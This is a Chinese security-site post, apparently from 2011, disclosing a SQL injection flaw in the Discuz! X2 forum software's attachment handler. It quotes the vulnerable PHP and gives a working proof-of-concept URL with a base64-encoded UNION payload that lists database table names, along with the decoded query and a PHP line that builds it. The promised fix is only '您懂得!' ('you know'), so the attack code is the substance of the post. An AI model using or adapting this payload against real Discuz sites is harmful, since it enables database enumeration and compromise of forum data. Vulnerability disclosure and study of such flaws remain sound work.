首页 > 安全 > 网站安全 > 正文
Discuz! X2 SQL注射漏洞,支持Union(含修复)
2011-07-29 12:39:01     我来说两句 
收藏    我要投稿    [字体: ]

 

文件:source\module\forum\forum_attachment.php

 

if(!defined('IN_DISCUZ')) {

exit('Access Denied');

}

define('NOROBOT', TRUE);

@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|', base64_decode($_G['gp_aid']));

 

if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) {

dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach['tid']);

}

 

变量aid 直接base64_decode 后传入SQL查询,造成注射漏洞。。。

漏洞证明:

http://www.2cto.com /forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D

 

http://www.2cto.com /forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member

 

暴出表名pre_common_admincp_member

 

实际查询为:

 

$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x";

die (urlencode(base64_encode($x)));

 

 

修复方案:您懂得!

点击复制链接 与QQ/MSN好友分享!
分享到:
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力  
上一篇:基于sqlinjection,介绍一些注射技巧
下一篇:科讯kesion 6.x - 7.06 第二枚注射漏洞
相关文章
图文推荐
排行
热门

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训
版权所有: 红黑联盟--致力于做最好的IT技术学习网站